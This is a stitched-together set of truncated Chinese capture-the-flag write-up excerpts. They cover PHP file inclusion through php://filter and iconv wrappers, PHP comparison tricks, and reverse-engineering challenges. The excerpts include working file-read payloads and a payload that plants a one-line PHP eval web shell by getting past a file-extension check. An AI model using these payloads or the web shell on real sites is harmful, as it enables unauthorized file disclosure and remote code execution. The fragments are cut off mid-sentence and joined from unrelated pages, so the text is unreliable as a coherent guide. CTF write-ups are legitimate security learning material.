filename=php://filter/read=convert.iconv.utf-8/iso-8859-1/resource=./check.php (3)看了 writeup ,确实是 PHP 伪协议,只不过写法有点不一样,过滤器类型:未明确指定,默认为 read,下面这种写法实际上使用的是 iconv 扩展中的 //TRANSLIT 或 //IGNORE 模式来处理字符集转换。点号在这里被解析为默认...
?filename=php://filter/convert.iconv.UTF-8*.UCS-4LE*/resource=check.php 可以看到check.php过滤的内容,/base|be|encode|print|zlib|quoted|write|rot13|read|string/i,不过已经不重要的 该题目没有提示flag文件的位置,尝试包含常见的flag.php
这题考察文件包含,PHP伪协议。php://filter是一个伪协议,允许你对数据流进行过滤操作。它通常与输入/输出函数一起使用,如fopen(),file_get_contents(),或者像这里的include()和require()。convert.base64-encode是php://filter支持的一种过滤器,用来将数据转换为 Base64 编码格式,当应用于文件读取时,它会先读...
phpinclude("flag.php");highlight_file(__FILE__);if(isset($_GET["file1"]) &&isset($_GET["file2"])){$file1=$_GET["file1"];$file2=$_GET["file2"];if(!empty($file1) && !empty($file2)){if(file_get_contents($file2) ==="hello ctf"){include($file1);}}elsedie("NONONO...
<?php show_source(__FILE__); include("config.php"); $a=@$_GET['a']; $b=@$_GET['b']; if($a==0 and $a){ echo $flag1; } if(is_numeric($b)){ exit(); } if($b>1234){ echo $flag2; } ?> GET请求传参,a值为0并且a不为0,b不能是数字也不能是数字字符串但是要大于...
解题方法写在代码注释里了 题目: #include #include //大概阅读整体代码,通过最后几行代码我们得知我们需要的flag就是代码中的hash变量 //此时我们逆向推到hash变量的来源 //1.hash值由fist、second和argv[3]三个变量来决定,那我们就跟踪这三个变量
所以我们这里针对第一个点容易想到,$file加一个../即可绕过这个假目录 针对第二个点,容易发现,匹配只匹配最后一个点的后缀,所以可以引用比较经典的解析问题`sky.php/.`绕过 第3个点,我们的真实目录 所以容易得到如下payload post数据 con=<?php @eval($_POST['sky2333']);?>&file=sky.php/. ...
remove(filename); return0; } 1. 2. 3. 4. 5. 6. 7. 8. 9. 10. 11. 12. 13. 14. 15. 16. 17. 18. 19. 20. 21. 22. 23. 24. 25. 26. 27. 28. 29. 30. 31. 32. 33. 34. 可以看到,上面的代码主要是针对v3得到的值存入t中,再对t写入文件操作,那么t就是最终的flag值!我们...
https://adworld.xctf.org.cn/media/file/task/54836ebebad142679... 这一题没有什么花活,但是和以往的c程序不同,c++大量使用模板、类对象等,反汇编之后会非常丑陋。要努力去克服这种干扰,并且熟悉string这种常见类的成员函数 分析 int __fastcall main(int argc, const char **argv, const char **envp) ...
先了解一下 file_get_contents() 函数: file_get_contents() 把整个文件读入一个字符串中。 该函数是用于把文件的内容读入到一个字符串中的首选方法。如果服务器操作系统支持,还会使用内存映射技术来增强性能 用法:file_get_contents(path,include_path,context,start,max_length) ...